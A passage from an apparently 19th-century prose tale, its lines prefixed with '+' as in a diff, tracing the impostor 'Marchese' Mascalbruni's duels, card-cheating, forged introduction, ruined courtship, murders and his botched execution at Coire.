+was attached to his name; it was a good, sonorous, well-sounding name;
+and the addition of Marchese dovetailed well, and seemed as though it
+had always, or ought always, to have belonged to it.
+
+But before he made his _entrée_ in the world of Paris, he was aware
+that he had much to learn; and, with the tact and nice sense of
+observation and _disinvoltura nel maneggiar_ peculiar to his nature, he
+soon set about accomplishing himself in the externals of a gentleman.
+With this view he passed several hours a day in the _salle d'armes_,
+where he made himself a first-rate fencer; and became so dexterous _au
+tir_, that he could at the extremity of the gallery hit the bull's-eye
+of the target at almost every other shot.
+
+Pushkin himself was not more dexterous; and, like him, our hero in the
+course of his career signalised himself by several rencontres which
+proved fatal to his antagonists, into the details of but one of which
+I shall enter. He heard that nothing gives a young man greater _éclat_
+at starting into society than a duel. Among those who frequented
+the _salle_ was an old officer who had served in the campaigns of
+Napoleon, one of the _reliquiæ Danaum_, the few survivors of Moscow;
+for those who did not perish on the road, mostly fell victims to the
+congelations and fatigues of that memorable retreat. Mascalbruni,
+now a match for the _maître d'armes_, frequently exercised with this
+old _grognard_, who had the character of being a _crane_, if not a
+_bourreau des cranes_;[12] and one day, before a numerous _gallerie_,
+having struck the foil out of his hand, the fencer so far forgot
+himself, in the shame and vexation of defeat by a youngster, as to pick
+up the weapon and strike the Italian a blow on the shoulders with the
+flat part of the foil, if it be not an Irishism so to call it. Those
+who saw Mascalbruni at that moment would not have forgotten the traits
+of his countenance. His eyes flashed with a sombre fire; his Moorish
+complexion assumed a darker hue, as the blood rushed from his heart to
+his brain in an almost suffocating tide; his breath came forth in long
+and audible expirations; his features were convulsed with the rage
+of a demoniac. I only describe what Horace Verney, who was present,
+faithfully sketched from memory after the scene. Mascalbruni, tearing
+off the button of his foil, vociferated, putting himself in position,
+"_A la mort, à la mort!_" The lookers-on were panic-stricken; but the
+silence was interrupted by the clinking of the steel. The aggressor
+soon lay stretched in the agonies of death.
+
+Though he had now taken his first degree, Mascalbruni's education
+was not yet complete. He had made himself master of French, so as to
+speak it almost without any of the accent of a foreigner; and having a
+magnificent voice, he added to it all the science that one of his own
+countrymen could supply, and became in the end a finished musician and
+vocalist.
+
+Such was the course of his studies; and now, with all the _préstige_ of
+his singular _affaire_ to give him _éclat_, the Marchese Mascalbruni
+made his _début_. By way of recreation, he had frequently gone into
+the gambling-houses of the Palais Royal, and had been much struck with
+these words, almost obliterated, on the walls of one of them, "_Tutus
+veni, tutus abi._" Mascalbruni was determined to profit by the advice,
+and to confirm its truth by one solitary exception--to come and depart
+in safety, or rather a winner.
+
+Mascalbruni invented a theory of his own, that has since been practised
+by several of the _habitués_ of the hells, particularly by a man
+denominated, in the _maisons de jeu_, L'Avocat. He won such enormous
+sums of the bank, that, on his return to his lodgings one night, he was
+assassinated, not without suspicion that he fell by the hands of some
+kind bravo of the company. _Chi lo sa?_ But to revert to Mascalbruni.
+
+_Impares numeri_ are said to be fortunate: strange to say, the number
+three is the most so. Three was a mystic number. The triangle was
+sacred to the Hindoos and Egyptians. There were three Graces, three
+Furies, three Fates. He played a martingale of one, three, seven,
+fifteen, &c. on triple numbers, _i. e._ after three of a colour, either
+red or black, had come up, and not till then, he played, and opposed
+its going a fourth; thus rendering it necessary that there should be
+twelve or thirteen successive _coups_ of four, _et sequentia_, without
+the intervention of a three. The gain, it is true, could not be great,
+for he began with a five-franc piece: but it seemed sure; and so he
+found it, making a daily profit of three or four louis in as many hours.
+
+I have gone into this dry subject to show the character of the man, and
+his imperturbable _sang-froid_. He did not, however, confine himself to
+_rouge et noir_, but soon learned all the niceties of that scientific
+game _écarté_. In addition to _sauter le coup_, which he practised with
+an invisible dexterity, he used to file the ends of the fingers of
+his right hand, so that he could feel the court-cards, which, having
+a thicker coat of paint, are thus made easily sensible to the touch;
+and would extract from each pack one or two, the knowledge of whose
+non-existence was no slight advantage in discarding. He did not long
+wait for associates in his art. There was formed at that time a club
+in the Rue Richelieu on the principle of some of the English clubs,
+it being entirely managed by a committee. Of this he became a member,
+and afterwards got an introduction at the _salon_. Most of the English
+at Paris joined this circle; and it was broken up in consequence of
+the discovery of manœuvres and sleights of hand such as I have
+described, but not until Mascalbruni had contrived to bear away a more
+than equal share of the plunder. The English, of course, were the great
+sufferers.
+
+He now turned his face towards the Channel, and opened the campaign
+in London on a much more extensive scale. He took up his quarters at
+Higginbottom's hotel in the same year that young Napoleon came to
+England, and only left it when it was given up to that lamented and
+accomplished prince. It is not generally known that he ever visited
+England. His sojourn in the capital was kept a profound secret. The
+master of the hotel and all his servants took an oath of secrecy;
+and Prince Esterhazy and the members of the Austrian embassy were
+not likely to betray it. The prince passed a week with George the
+Fourth at the Cottage at Windsor, and afterwards assisted at a
+concert at the Hanover Square rooms, himself leading a concert on
+the piano. This by the bye. Mascalbruni on that occasion attracted
+all eyes, and fascinated all ears, and was greeted after a solo with
+the loudest plaudits. He had now become the fashion, and, having
+forged a letter from one of the cardinals at Rome to a patroness of
+Almacks, obtained the _entrée_, and made one of the three hundred that
+compose the world of London. You know, however, in this world that
+there is another world--orb within orb--an _imperium in imperio_--the
+Exclusives. It is difficult to define what the qualifications for an
+exclusive are: it is not rank, connexion, talents, virtues, grace,
+elegance, accomplishments. No. But I shall not attempt to explain the
+inexplicable. Certain it is, however, that our hero was admitted into
+the _coteries_ of this caste, as distinct--as much separated by a line
+of demarcation drawn round them from the rest--as the Rajhpoot is from
+the Raiot, who sprang, one from the head, the other from the heels of
+Brahma.
+
+It was on the daughter of one of these extra-exclusives that
+Mascalbruni cast his eye. He flew at high game. The Honourable Miss M.
+was the belle of the season. I remember seeing her the year before at a
+fancy ball. A quadrille had been got up, for which were selected twelve
+of the most beautiful girls to represent the twelve Seasons. Louisa
+was May, and excelled the rest, (I do not speak of the present year,)
+as much as that season of flowers does the other months. It was an
+'incarnation of May!'--a metaphor of Spring, and Youth, and Morning!--a
+rose-bud just opening its young leaves, that brings the swiftest
+thought of beauty, though words cannot embody it:--a sylph borne by a
+breath, a zephyr, as in the celebrated Hebe of John of Bologna, may
+make intelligible the lightness of her step,--the ethereal grace of her
+form. She was a nymph of Canova, without her affectation. Hers was the
+poetry of motion,--
+
+      "It was the soul, which from so fair a frame
+      Look'd forth, and told us 'twas from heaven it came,"--
+
+that would have been the despair of sculpture or poetry. I have never
+seen but one who might compare with her, and she was engulfed that same
+year in the waters of the inexorable Tiber,--Rosa Bathurst.[13]
+
+Louisa M. was the only daughter of an Irish bishop. His see was one of
+the most valuable in the sister island; and some idea may be formed
+of his accumulated wealth, by the circumstance of his having received
+thirty thousand pounds in one year by fines on the renewal of leases.
+He had one son, then on a Continental tour with his tutor; but having
+no entailed estates, and his fortune consisting of ready money, Louisa
+was probably one of the _meilleures parties_ in the three kingdoms.
+
+There was at that time a mania for foreign alliances. The grand tour,
+which almost every family of distinction had taken, introduced a
+rage for Continental customs and manners, which had in some degree
+superseded our own.
+
+A spring in Paris, and winter in Italy, left behind them regrets in
+the minds of old and young, but especially the latter, who longed to
+return to those scenes that had captivated their senses and seduced
+their young imaginations. No language was spoken at the opera but
+French or Italian,--no topics of conversation excited so much interest
+as those which had formed the charm of their residence abroad,--and the
+fair daughters of England drew comparisons unfavourable to fox-hunting
+squires and insipid young nobles, when they thought of the accomplished
+and fascinating foreigners from whom, in the first dawn of life, when
+all their impressions were new and vivid, they had received such
+flattering homage.
+
+The mother of Louisa, still young, had not been insensible to
+prepossessions; and had a _liaison_ at Rome, where she was
+unaccompanied by her husband, the effects of which she had not
+altogether eradicated.
+
+It is said that the road to the daughter's affections is through
+the heart of the mother. Certainly in Italy _cavalier-serventeism_
+generally has this termination; and, though it is not yet openly
+established in England, there are very many women in high life who have
+some secret adorer, some favourite friend, to keep alive the flame
+which too often lies smothered in the ashes of matrimony. I do not mean
+that this attachment is frequently carried to criminal lengths; nor am
+I ready to give much credence to the vain boastings of those foreigners
+who, when they return to their own country, amuse their idle hours, and
+idler friends, with a detailed account of their _bonnes fortunes_ in
+London.
+
+I shall not prostitute my narrative, had I the data for so doing, by
+tracing step by step the well-organised scheme by which Mascalbruni
+contrived to ingratiate himself with both the mother and the daughter.
+He was young, handsome, and accomplished; an inimitable dancer, a
+perfect musician. His dress, his stud, and cabriolet were in the best
+taste, and he passed for a man of large fortune.
+
+It may be asked how he supported this establishment? By play. Play,
+in men whose means are ample, if considered a vice, is thought a very
+venial one. He got admission into several clubs,--Crockford's among
+the rest:--his games were _écarté_ and whist; games at which he was
+without a match. Cool, cautious, and calculating, he lost with perfect
+nonchalance, and won with the greatest seeming indifference.
+
+There was a French _vicomte_, with whom he seemed to have no particular
+acquaintance, but who was in reality his ally and confederate, and who
+had accompanied him to England expressly that they might play into each
+other's hands. He belonged to one of the oldest families, and had one
+of those historical names that are a _passe par-tout_. I had seen him
+at the _soirées_ of Paris, and he was in the habit at the _écarté_
+table, if he had come without money, which was not unfrequently the
+case, of claiming, when the division took place at the end of the game,
+two napoleons; pretending that at its commencement he had bet one on
+the winner. I need say no more.
+
+He had signalised himself in several rencontres. I have him before
+me now, as he used to appear in the Tuileries' gardens, with his
+narrow hat, his thin face, and spare figure,--so spare, that sideways
+one might as well have fired at the edge of a knife. To this man
+Mascalbruni frequently pretended to have lost large sums, and it is
+now well known that they divided the profits of their gains during the
+season. No one certainly suspected either of unfair practices, though
+their uniform success might have opened the eyes of the blindest. The
+Marchioness of S.'s card-parties and those of Lady E. were a rich
+harvest, as well as the private routs and _soirées_ to which they
+obtained easy admission. Lady M. was well aware that Mascalbruni had a
+_penchant_ for play; but it seemed to occupy so little of his thoughts
+or intrench on his time, that it gave her no serious alarm.
+
+I have not yet told you, however, as I ought to have done, that he was
+a favoured suitor.
+
+The bishop, who, by nature of his office, was seldom in town, was a
+cypher in the family, and little thought of interfering with his lady
+in the choice of a son-in-law.
+
+But the season now drew to a close, and Mascalbruni received an
+invitation to pass the summer at the episcopal palace in the Emerald
+Isle. He had succeeded in gaining the affections, the irrevocable
+affections of Louisa. Yes,--she loved him,
+
+          "Loved him with all the intenseness of first love!"
+
+Time seemed to her to crawl with tortoise steps when he was
+absent,--but how seldom was that the case! They sang together those
+duets of Rossini that are steeped in passion. How well did his deep and
+mellow voice marry itself with her contralto! They rode together, not
+often in the parks, but through those shady and almost unfrequented
+lanes of which there are so many in the environs of the metropolis;
+they waltzed together; they danced the mazourka together,--that dance
+which is almost exclusively confined to foreigners, from the difficulty
+of its steps, and the grace required in its mazes.
+
+They passed hours together alone,--they read together those scenes of
+Metastasio, so musical in words, so easily retained in the memory. But
+why do I dwell on these details? When I look on this picture and on
+that, I am almost forced to renounce the opinion that kindred spirits
+can alone love; for what sympathy of soul could exist between beings so
+dissimilar, so little made for each other? Poor Louisa!
+
+Mascalbruni accompanied them to Ireland. That summer was a continual
+fête. It was settled that the wedding was to take place on their return
+to town the ensuing season.
+
+In the mean time the intended marriage had been long announced in
+the Morning Post, and was declared in due form to the son at Naples.
+Louisa, who was her brother's constant correspondent, in the openness
+of her heart did not conceal from him that passion, no longer, indeed,
+a secret. Her letters teemed with effusions of her admiration for the
+talents, the accomplishments, and the virtues, for such they seemed, of
+her intended--her _promesso sposo_, and the proud delight that a very
+few months would seal their union.
+
+William, who had now had some experience of the Italians, and who had
+looked forward to his sister's marrying one of his college friends, an
+Irishman with large estates in their immediate neighbourhood, could not
+help expressing his disappointment, though it was urged with delicacy,
+at this foreign connexion. He wrote also to the bishop, and, after
+obtaining from him all the necessary particulars as to the Marchese
+Mascalbruni,--through what channel he became acquainted with them, by
+what letter got introduced to Lady ----, lost no time in proceeding
+to Rome, though the mountains were then infested by brigands, and the
+Pontine marshes, for it was the month of September, breathed malaria.
+
+Our consul was then at Cività Vecchia, but willingly consented to
+accompany Mr. M. to Rome, in order to aid in the investigation. He
+was intimate with Cardinal ----, and they immediately proceeded to
+his palace. They found from him that he had never heard the name of
+Mascalbruni; that there was no _marchese_ in the pontifical states so
+called; and he unhesitatingly declared the letter to be a forgery, and
+its writer an impostor.
+
+They then applied to the police, who, after some days' inquiry,
+discovered that a person answering the description given had quitted
+Rome a few years before, and had been a clerk in the office of a
+_notario_.
+
+No farther evidence was necessary to convict Mascalbruni of being
+a swindler; and, not trusting to a letter's safe arrival, Mr. M.
+travelled night and day till he reached the palace at ----.
+
+It is not difficult to imagine the scene that ensued,--the indignation
+of the father, the vexation and self-reproaches of the mother, or the
+heart-rending emotions of the unfortunate girl.
+
+Mascalbruni at first, with great effrontery, endeavoured to brave the
+storm; contended that Louisa was bound to him by the most sacred ties,
+the most solemn engagements; that his she should be,--or, if not his,
+that she should never be another's; denounced them as her murderers;
+and ended with threats of vengeance,--vengeance that, alas! he too well
+accomplished.
+
+It is not very well known what now became of Mascalbruni; but there is
+reason to believe that he lay _perdu_ somewhere in the neighbourhood,
+watching like a vulture over the prey from which he had been driven,
+the corpse of what was once Louisa.
+
+A suspicious-looking person was frequently seen at night-fall prowling
+about the environs of the palace; and Miss M.'s _femme de chambre_,
+with whom he is said to have carried on an intrigue, was observed by
+the servants in animated conversation with a stranger in the garb of a
+peasant among the shrubberies and pleasure grounds.
+
+It was through her medium that Mascalbruni gained intelligence of all
+that was passing in the palace.
+
+The shock which Louisa had sustained was so sudden, so severe, that,
+acting on a frame naturally delicate, it brought on a brain fever.
+Her ravings were so dreadful, and so extraordinary; and so revolting
+was the language in which she at times clothed them, that even her
+mother--and no other was allowed to attend her--could scarcely stay
+by her couch. How perfect a knowledge of human nature has Shakspeare
+displayed in depicting the madness of the shamelessly-wronged and
+innocent Ophelia!--The fragments of those songs to which her broken
+accents gave utterance, especially that which ends with
+
+    "Who, in a maid, yet out a maid,
+      Did ne'er return again,"
+
+may suggest an idea of the wanderings of the poor sufferer's heated
+imagination.
+
+For some weeks her life hung on a thread; but the affectionate cares
+and sympathy of a mother, and a sense of the unworthiness of the
+object of her regard, at last brought back the dawn of reason; and her
+recovery, though slow, was sufficiently sure to banish all anxiety.
+
+The afflictions as well as the affections of woman are, if I may judge
+by my own experience, less profoundly acute than those of our own
+sex. Whether this be owing to constitution or education, or that the
+superior delicacy and fineness of the nervous system makes them more
+easily susceptible of new impressions to efface the old, I leave it to
+the physiologist or the psychologist to explain. The river that is the
+most ruffled at the surface is seldom the deepest. Thus with Miss M.
+Her passion, like
+
+    "A little brook, swoln by the melted snow,
+    That overflows its banks, pour'd in her heart
+    A scanty stream, and soon was dry again."[14]
+
+In the course of three months the image of Mascalbruni, if not effaced
+from her mind, scarcely awakened a regret; and, save that at times a
+paleness overspread her cheek, rapidly chased by a blush, be it of
+virgin innocence or shame, no one could ever have discovered in her
+person or bearing any traces of the past.
+
+At this time a paragraph appeared in the Court Journal of the day,
+nearly in these words:
+
+"Strange rumours are afloat in the Sister Island respecting a certain
+Italian _marchese_, who figured at the clubs and about town during the
+last season. Revelations of an extraordinary nature, that hastened
+the return of the Honourable Mr. M. from the Continent, have led to
+a rupture of the marriage of the belle of the season, which we are
+authorised to say is definitively broken off."
+
+It was a telegraph that the field was open for new candidates; but no
+one on this side the water answered it. Louisa M. was no longer the
+same,--the _préstige_ was fled,--the bloom of the peach was gone.
+
+Scarcely had four months elapsed, however, when fresh preparations were
+made for her marriage, and a day fixed for the nuptials.
+
+The hour came; and behold, in the conventional language used on such
+occasions, the happy pair, Lady M. the bride-maids, and a numerous
+party of friends assembled in the chapel of the palace. The bishop
+officiated.
+
+The ceremony had already commenced, and the rite was on the point of
+being ratified by that mystical type of union--the ring--when a figure
+burst through the crowd collected about the doors; a figure more like a
+spectre than a man.
+
+So great a change had taken place in him, from the wild and savage
+life that he had been leading among the mountains, the privations he
+had endured, and the neglect of his person, that no one would have
+recognised him for the observed of all observers, the once elegant and
+handsome Mascalbruni. His hair, matted like the mane of a wild beast,
+streamed over his face and bare neck. His cheek was fallen, his eyes
+sunken in their sockets; yet in them burned, as in two dark caves, a
+fierce and sombre fire. His lips were tremulous and convulsed with
+passion; his whole appearance, in short, exhibited the same diabolical
+rage and thirst of vengeance that had electrified the _salle d'armes_
+in his memorable conflict. He advanced straight to the altar with long
+and hurried steps, and, tearing aside the hands of the couple, the
+ring fell over the communion rails to the ground. So profound was the
+silence, so great the consternation and surprise the sight of this
+apparition created in the minds of all, that the sound of the ring, as
+it struck and rolled along the vaulted pavement, was audibly heard. It
+was an omen of evil augury,--a warning voice as from the grave, to tell
+of the death of premised joys--of hopes destroyed--of happiness for
+ever crushed. He stood wildly waving his arms for a moment between the
+pair, looking as though they had been transformed into stone, more like
+two statues kneeling at a tomb than at the altar. Then he folded his
+arms; gazed with a triumphant and ghastly smile at the bride; said, or
+rather muttered, "Mine she is!" then, turning to the bridegroom, with a
+sneer of scorn and mockery he howled, "Mine she has been; now wed her!"
+
+With these laconic words he turned on his heel, and regained without
+interruption the portal by which he had entered. So suddenly had all
+this passed, so paralysed and panic-stricken were the spectators and
+audience of this scene, that they could scarcely believe it to be other
+than a dream, till they saw the bride extended without sense or motion
+on the steps. Thus was she borne, the service being unconcluded, to her
+chamber. The ceremony was privately completed the ensuing day.
+
+No domestic felicity attended this ill-fated union. It was poisoned by
+doubts and suspicions, and embittered by the memory of Mascalbruni's
+words. "Mine she has been" continually rang in the husband's ears; and
+on the anniversary of that eventful day, after a lingering illness of
+many months, a martyr to disappointment and chagrin, she sunk into an
+untimely grave.
+
+The next we hear of Mascalbruni was his being at Cheltenham. There he
+frequented the rooms under very different auspices, and had to compete
+with another order of players than those he had been in the habit of
+duping. He was narrowly watched, and detected in the act of pocketing
+a queen from an _écarté_ pack. The consequence was his expulsion from
+the club with ignominy. His name was placarded, and his fame, or rather
+infamy, noised with a winged speed all over the United Kingdom.
+
+It was no longer a place for him. In the course of the ensuing week the
+following announcement was made in a well-known and widely-circulated
+weekly paper. It was headed--
+
+
+                      "_An Italian black sheep._
+
+     "We hope in a short time to present our readers with the exploits
+     of a new Count Fathom, a _soi disant_ marchese, better known than
+     trusted, the two first syllables of whose name more than rhyme
+     with _rascal_. And as it is our duty to un-_mask all_ such, we
+     shall confine ourselves at present to saying that he has been
+     weighed at a fashionable watering-place in Gloucestershire, and
+     found wanting, or rather practising certain sleights of hand for
+     which the charlatans of his own country are notorious. He had
+     better sing small here!"
+
+Mascalbruni took the vulgar hint. His funds were nearly exhausted, and
+with but a few louis in his pocket he embarked at Dover, and once more
+repaired to Paris.
+
+His prospects were widely different from those with which he had left
+it. To play the game I have described at _rouge et noir_, requires
+a capital. Every respectable house was closed against him. He now
+disguised his appearance, so that his former acquaintance should not be
+able to recognise him, and frequented the lowest hells--those _cloacæ_,
+the resort of all the _vilains_ and _chenapans_, the lowest dregs of
+the metropolis. By what practices this _mauvais sujet_ contrived to
+support life here for some years is best known to the police, where his
+name stands chronicled pretty legibly; it is probable that he passed
+much of that time in one of the prisons, or on the roads.
+
+Eighteen months had now elapsed, and the Honourable Mr. M. with his
+bride, to whom he had been a short time married, took an apartment in
+the Rue d'Artois. A man in a cloak--an _embocado_,--which means one who
+enwraps his face in his mantle so that only his eyes are visible,--was
+observed from the windows often passing and repassing the hotel. The
+novelty of the costume attracted the attention of Mrs. M.; and the
+blackness of his eyes, and their peculiarly gloomy expression, made
+her take him for a Spaniard. She more than once pointed him out to her
+husband, and said one day, "Look, William, there stands that man again.
+He answers your description of a bandit, and makes me shudder to look
+at him."
+
+"Don't be alarmed, dear," replied Mr. M. smilingly; "we are not at
+Terracina. It will be time enough to be frightened then."
+
+The recollection of Mascalbruni had been almost effaced from his mind;
+but, had he met him face to face, it is not unlikely that he _would_
+have remembered the villain who had destroyed the hopes of his family,
+and marred their happiness for ever.
+
+For some time he never went out at night unaccompanied by his wife, and
+always in a carriage. But a day came when he happened to dine without
+her in the Rue St. Honoré. The weather being fine, and the party a late
+one, he sent away his cabriolet, and after midnight proceeded to walk
+home. Paris was at that time very badly lighted; the _reverberées_ at
+a vast distance apart, suspended between the houses, giving a very dim
+and feeble ray. Few persons--there being then no _trottoirs_--were
+walking at that hour; and it so happened that not a soul was stirring
+the whole length of the street. But, within a few yards of his own
+door, the figure I have described rushed from under the shadow of a
+_porte cochère_, and plunged a dagger in his heart. He fell without a
+groan, and lay there till the patrol passed, when he was conveyed, cold
+and lifeless, to the arms of his bride, who was anxiously awaiting his
+return. Her agony I shall not make the attempt to depict: there are
+some sorrows that defy description.
+
+Notwithstanding the boasted excellence of the Parisian police, the
+author of this crime, who I need not say was Mascalbruni, remained
+undiscovered.
+
+Strange as it may appear, I am enabled to connect two more links in the
+chain of this ruffian's history, and thus, as it were, to become his
+biographer. Having been in town at the period when he was in the zenith
+of his glory, and being slightly acquainted with the family whom,
+like a pestilence, it was his lot to destroy and blight, I was well
+acquainted with his person, and he with mine; indeed, once seen, it was
+not easy to mistake his.
+
+After two winters at Naples, I travelled, by the way of Ravenna and
+Rimini, to Venice. The carnival was drawing to a close, and, on
+quitting a _soirée_ at Madame Benzon's, I repaired to the Ridotta. The
+place was crowded to excess with that mercurial population, who during
+this saturnalia, particularly its last nights, mingle in one orgie, and
+seem to endeavour, by a kind of intoxication of the senses, and general
+licentiousness, to drown the memory of the destitution and wretchedness
+to which the iron despotism of the Austrian has reduced them. The scene
+had a sort of magnetic attraction in it.
+
+I had neither mask nor domino, but it is considered rather _distingué_
+for men to appear without them; and, as I had no love-affair to carry
+on, it was no bad means of obtaining one, had I been so inclined.
+
+Among the other groups, I observed two persons who went intriguing
+round the _salle_, appearing to know the secrets of many of their
+acquaintances, whom it seemed their delight to torment and persecute,
+and whom, notwithstanding their masks, they had detected by the voice,
+which, however attempted to be disguised, betrays more than the eyes,
+or even the mouth, though it is the great seat of expression. The pair
+wore fancy dresses. The domino of the man was of Persian or Turkish
+manufacture, a rich silk with a purple ground, in which were inwoven
+palm-leaves of gold, The costume of the lady, who seemed of a portly
+figure, not the most symmetrical, was a rich Venetian brocade, such
+as we see in the gorgeous pictures of Paul Veronese, and much in use
+during the dogal times of the republic. As they passed me, I heard
+the lady say, looking at me, "That is a foreigner." "_Si signora, è
+Inglese_," was the reply; "_lo conosco_." Who this could be who knew
+me,--me, almost a stranger at Venice, I was curious to discover. By the
+slow and drawling accent peculiar to the Romans, I felt satisfied he
+was one, and fancied that I had heard that voice before,--that it was
+not altogether unfamiliar to me.
+
+I was desirous of unravelling the secret, for such it was, as the
+man did not address me; and I remained at the Ridotta much later
+than I should otherwise have done, in order to find out my unknown
+acquaintance. I therefore kept my eye on the couple, hoping that
+accident might favour my wish.
+
+On the last nights of the carnival it is common to sup at the
+Ridotta, and I at length watched the _incognito_ into a box with his
+_inamorata_, where he took off his mask, and whom should I discover
+under it but the identical hero of romance, the villain Mascalbruni.
+
+He was an acquaintance who might well shun _my_ recognition, and I was
+not anxious he should see I had attracted _his_ observation. As I was
+returning to my hotel on the Grand Canal, I asked the gondolier if he
+knew one Signor Mascalbruni. These boatmen are a kind of Figaros, and,
+like the agents of the Austrian police, are acquainted with the names
+and address of almost every resident in Venice, especially of those
+who frequent the public places. The man, however, did not know _my
+friend_ by that name,--perhaps he had changed it. But when I described
+his costume, he said that the signor was the _cavalier servente_ of a
+Russian princess, who had taken for a year one of the largest palaces
+in Venice. "_Il signor_," he added, "_canta come un angelo_."
+
+The idea of coupling an angel and Mascalbruni together amused me. "An
+angel of darkness!" I was near replying; but thought it best to be
+silent.
+
+I had no wish to encounter Mascalbruni a second time. I went the
+next day to Fusina, and thence to Milan; indeed I had made all the
+preparations for my departure, nothing being more dull than the
+_Carême_ at Venice.
+
+Two years after this adventure, I was travelling in the Grisons, after
+having made a tour of the _petits cantons_, with my knapsack on my
+back, and a map of Switzerland in my pocket, to serve the place of a
+guide,--a description of persons to whom I have almost as great an
+objection as to cicerones, preferring rather to miss seeing what I
+should like to see, than to be told what I ought to like to see; not
+that it has fallen to the lot of many guides, or travellers either, to
+be present at a spectacle such as I am going to describe. I had been
+pacing nine good leagues; and that I saw it was merely accidental, for
+if _it_ had not come in my way, _I_ should not have gone out of mine to
+witness it.
+
+Coire, the capital of the Grisons, my place of destination for the
+night, had just appeared, when I observed a great crowd collecting
+together immediately in front, but at some distance off, the peasants
+running in all directions from the neighbouring hills, like so many
+radii to meet in a centre.
+
+One of these crossed me; and, on inquiring of him the occasion of
+all this haste and bustle, I learned that an execution was about to
+take place. My informant added with some pride that the criminal was
+not a Swiss, but an Italian. He seemed perfectly acquainted with all
+the particulars of the event that had transpired, for he had been
+present at the trial; and, as we walked along the road together, in
+his _patois_,--bad German, and worse French, with here and there a
+sprinkling of Italian,--he related to me in his own way what I will
+endeavour to translate.
+
+"An Englishman of about twenty years of age was travelling, as you
+may be, on foot, about seven weeks ago, in this canton, having lately
+crossed the St. Gothard from Bellinzona. He was accompanied by a
+courier, whom he had picked up at Milan. They halted for some days in
+our town, waiting for the young gentleman's remittances from Genoa,
+where his letters of credit were addressed. On their arrival at Coire
+they had a guide; but the Italian persuaded his master, who seemed
+much attached to him, to discharge Pierre, on the pretence that he
+was thoroughly acquainted with the country, and spoke the language,
+which indeed he did. He was a dark brigand-looking fellow, with a
+particularly bad expression of countenance, and a gloomy look about
+his eyes; and, for my part, I am surprised that the young man should
+have ventured to trust himself in his company, for I should not like to
+meet his fellow on the road by myself even in the day-time. Well: the
+Englishman's money, a good round sum,--they say, two hundred napoleons
+d'or,--was paid him by an order on our bankers; and then they set out,
+but not as before.
+
+"They had only been two days in company, when the villainous Italian,
+who either did not know the road over the mountains, or had purposely
+gone out of the way, thought it a good opportunity of perpetrating
+an act, no doubt long planned, which was neither more nor less than
+despatching his master. It was a solitary place, and a fit one for a
+deed of blood. A narrow path had been worn in the side of a precipice,
+which yawned to the depth of several hundred feet over a torrent that
+rushed, as though impatient of being confined, foaming and boiling
+through a narrow chasm opened for itself through the rocks. I could
+show you the spot, for I know it well, having a right of _commune_ on
+the mountains; and have often driven my cows, after the melting of the
+snows, up the pass, to feed on the herbage that, mixed with heath and
+rhododendrons, forms a thick carpet under foot. It is a pasture that
+makes excellent cheese.
+
+"But, solitary as the place looks, the Italian did not know that there
+are several _chalets_, mine among the rest, in the Alp; and herdsmen.
+As for me, I happened to be down in the plain, or I might have been an
+eye-witness of much of what I am about to describe. I was saying that
+the spot seemed to suit his purpose; and his impatience to ease his
+master of his gold was such, that, happily for the ends of justice, he
+could not wait till night-fall, or none but (and here he pointed to
+the sky) He above might have been privy to the crime. It was, however,
+mid-day. Into the deep-worn pass I have mentioned runs a rivulet,
+which, sparkling on the green bank, had made for itself a little
+basin. The day was hot and sultry; and the young gentleman, tempted,
+it would seem, by the gentle murmur of the water as it fell rippling
+over the turf, and its crystal brightness, stooped down to drink. The
+Italian watched this opportunity, sprung upon him like a tiger, and
+plunged a dagger, which he always carried concealed about him, into the
+Englishman's back. Fortunately, however, the point hit upon the belt in
+which he carried his money, perhaps on the napoleons; for, before the
+assassin could give him a second blow, he sprang up and screamed for
+help, calling 'Murder, murder!'
+
+"Three of the herdsmen whom I have mentioned heard the cries, and
+came running towards the direction whence they proceeded, when they
+discovered two men struggling with each other; but, before they could
+reach them, one had fallen, and the other was in the act of rifling
+him, in order afterwards to hurl him down the precipice into the bed
+of the river. So intent was he on the former of these occupations,
+that he did not perceive my countrymen till they seized him. He made
+much resistance; but his dagger was not within his reach. They bound
+his hands, and, together with the lifeless corpse of his master,
+transported him to Coire, where, not to enter into the trial, he was
+condemned to death.
+
+"But he has been now some weeks in prison, in consequence of our not
+being able to procure a _bourreau_; and we have been forced to send for
+one to Bellinzona, no Grison being willing to perform the office. He
+arrived last night; and how do you think, sir? According to our laws,
+he is to be executed with a sword that has not been used for forty
+years,--no murder having been committed in the canton during all that
+period,--though no sword could be applied to better purpose than it
+will in a few moments."
+
+Whilst he was thus speaking, we reached the dense circle already
+formed. On seeing a stranger approach, they made room for me; and
+curiosity to witness this mode of execution, the remnant of barbarous
+times, as well as to see the Italian, induced me to enter the Place de
+Grève.
+
+At the first glance I recognised Mascalbruni. He was stripped of his
+shirt, and on his knees; by his side was a Jesuit to whom he had just
+made his confession; and over him, on an elevation from the ground by
+means of a large stone, stood the _prevôt_, with a sword of prodigious
+length and antique shape, and covered with the rust of ages, pendent in
+his hands.
+
+The lower part of Mascalbruni's face was fallen, whilst all above the
+mouth was drawn upward as from some powerful convulsion. The eyes, that
+used to bear the semblance of living coals, had in them a concentrated
+and sullen gloom. The cold and damp of the cell, and the scantiness of
+his diet, which consisted of bread and water, had worn his cheek to the
+bone, and given it the sallowness of one in the black stage of cholera.
+His face was covered with a thick beard, every hair of which stood
+distinct from its fellows; and his matted locks, thickly sprinkled with
+grey, trailed over his ghastly features and neck in wild disorder.
+His shoulders down to the waist were, as I said, bare; and they and
+his arms displayed anatomically a muscular strength that might have
+served as a model for a gladiator. Over all was thrown an air of utter
+prostration moral and physical,--the desolation of despair.
+
+A few yards to the right, the priest, with his eyes uplifted to heaven,
+seemed absorbed in prayer; and between them the _bourreau_, who might
+have superseded Tristan in his office, and been a dangerous rival in
+the good graces of Louis the Eleventh. He called to mind a figure of
+Rubens',--not the one who is turning round in the Descent of the Cross
+at Antwerp, and saying to the thief, writhing in horrible contortions
+after he has wrenched his lacerated foot from the nail, "_Sacre,
+chien_,"--but a soldier in another of his pictures in the Gallery at
+Brussels (the representation of some martyrdom,) who has just torn off
+the ear of the saint with a pair of red-hot pincers, and is eyeing it
+with a savage complacency.
+
+It was, in short, exactly such a group, with its pyramidical form and
+startling contrasts of colour and expression, as the great Flemish
+painter could have desired.
+
+A dead silence, which the natural horror, the novelty of the scene
+created, prevailed among the assembled crowd; and it spoke well for the
+morality and good feeling of the simple peasantry, that not a woman was
+present on the occasion.
+
+The hand of the swordsman was raised, and the stroke fell on the
+neck of the culprit; but, horrible to say,--what was it then to
+witness?--though given with no common vigour, so blunt was the
+instrument, that, instead of severing the head, it only inflicted a
+gash which divided the tendons of the neck, and the undecapitated body
